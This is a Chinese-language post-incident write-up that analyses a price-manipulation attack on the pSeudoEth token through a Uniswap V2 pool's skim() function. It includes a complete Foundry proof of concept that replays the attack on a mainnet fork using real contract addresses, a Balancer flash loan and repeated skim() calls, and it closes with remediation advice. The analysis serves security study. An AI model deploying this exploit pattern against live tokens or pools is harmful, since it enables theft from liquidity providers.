12.pSeudoEth@priceManipulation
2023-11-01 21:04:54 # 08.PoC

pSeudoEth@priceManipulation

pSeudoEth是一种ERC20代币,他的balanceOf()并不是恒定的,随着市场变动。有黑客发现他实现的逻辑有问题,然后通过uniswap的池子进行价格操纵,拿走了池子中的pSeudoEth

交易

资金流向

image-20231101204112812

攻击过程

image-20231101204259207

image-20231101204346524

image-20231101204448148

攻击详细分析

从攻击过程可以看出,闪电贷只是用来获取启动资金。黑客就做了三个操作:WETH换成pETH,不断调用池子的skim()方法,pETH换成WETH,做完这三个操作,手头上的WETH就变多了,还款闪电贷获利。

不断的调用skim()就可以实现价格操纵,我们来看看skim()是干啥的:将池子中比_reserve多的币发给to地址,这个是用来让池子正常运作的,因为uniswap的swap()会比较balanceOf()_reserve来维持k值不变,在有人“捐赠”代币到池子就会使池子暂时DoS,因此有这个方法将多余的代币转走。

这个方法任何人都可以调用,只要池子有多余的代币,就可以拿走,当然普通人是搞不到的,因为很多机器人实时在监控着池子

1
2
3
4
5
6
7
8
9
10
11
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}

可以看出,调用了skim()之后会调用token的transfer()。但是因为pETH的合约没有开源,我们无法查看他的transfer()的具体实现。

但是,其攻击逻辑和这篇文章的如出一辙。我们可以推断,这个pETH的transfer()调用会影响类如_totalSupply这种变量,balanceOf()受到这个变量的影响,价格会波动!并且其transfer()没有检验发送者和接收者的地址,则可以不断调用transfer()使得_totalSupply无限制的增大,进而使得我们拥有的pETH增多。

但是,池子中的_reserve不变,则币对价格不变,我们手头上的pETH经过balanceOf()获得的余额增多,则我们可以用pETH在池子中换取更多的代币。类似的原理可以查看这个文章

复现

GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "./interface.sol";

contract ContractTest is Test {
IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
IERC20 pEth = IERC20(0x62aBdd605E710Cc80a52062a8cC7c5d659dDDbE7);
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
IUniswapV2Pair UNIPair = IUniswapV2Pair(0x2033B54B6789a963A02BfCbd40A46816770f1161);
uint amount = 51_970_861_731_879_316_502_999;

function setUp() public {
vm.createSelectFork("mainnet", 18_305_132 - 1);
vm.label(address(WETH), "WETH");
vm.label(address(Balancer), "Balancer");
vm.label(address(UniRouter), "Uniswap V2: Router");
vm.label(address(UNIPair), "Uniswap V2: pEth");
}

function testExploit() external {
WETH.approve(address(UniRouter), type(uint256).max);
pEth.approve(address(UniRouter), type(uint256).max);

uint startWETH = WETH.balanceOf(address(this));
console.log("Before Start: %d WETH", startWETH);
address[] memory tokens = new address[](1);
tokens[0] = address(WETH);
uint[] memory amounts = new uint[](1);
amounts[0] = amount;
Balancer.flashLoan(address(this), tokens, amounts, "");

uint intRes = WETH.balanceOf(address(this))/1 ether;
uint decRes = WETH.balanceOf(address(this)) - intRes * 1e18;
console.log("Attack Exploit: %s.%s WETH", intRes, decRes);
}

function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
address[] memory path = new address [](2);
(path[0], path[1]) = (address(WETH), address(pEth));
UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amounts[0], 0, path, address(this), type(uint).max);
uint pEth_amount = pEth.balanceOf(address(this));
pEth.transfer(address(UNIPair), pEth_amount);

for(uint i=0; i<10; i++){
UNIPair.skim(address(UNIPair));
}

(path[0], path[1]) = (address(pEth), address(WETH));
pEth_amount = pEth.balanceOf(address(this));
UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
pEth_amount, 0, path, address(this), type(uint).max);

WETH.transfer(address(Balancer), amount);
}
}

建议

  • 如果代币的balanceOf()是魔改的,余额会随着市场而变动,那么需要非常注意实现!其中一种漏洞就是transfer()发送者和接收者没有校验不能相同
  • 魔改的代币需要时刻注意
Prev
2023-11-01 21:04:54 # 08.PoC
Next